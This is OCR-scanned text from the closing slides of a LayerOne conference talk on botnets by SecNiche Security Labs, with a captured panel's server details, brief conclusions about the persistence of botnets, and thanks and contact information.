Control panel: 1.1.7 N 3 IN 1
PHEP: 3.2.13, cgi - 2
Zend engine: 220
MySQL server:  5.0.90-community
MySQL client:  5.0.90
Paths
Local path: /home html/web/adm
Reports path: /home htmlweb/adm/_reports
Client
User agent: Mozilla/5.0 (Windows NT 6.1; WOW64:; rv:10.0.2) Gecko/20100101 Firefox/10.0.2

P: I
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Conclusion

= At last

— We were and we are still living with botnets
— This problem is like a cat and mouse game which is really hard to eradicate

Remember |
Malware exploits you first then technology!
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Questions !
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Thanks

= LayerOne Conference Crew L AY m O

= SecNiche Security Labs

— To all my friends
e Rohit Bansal

= Contact Me
— Email : adi_ks [at] secniche.org
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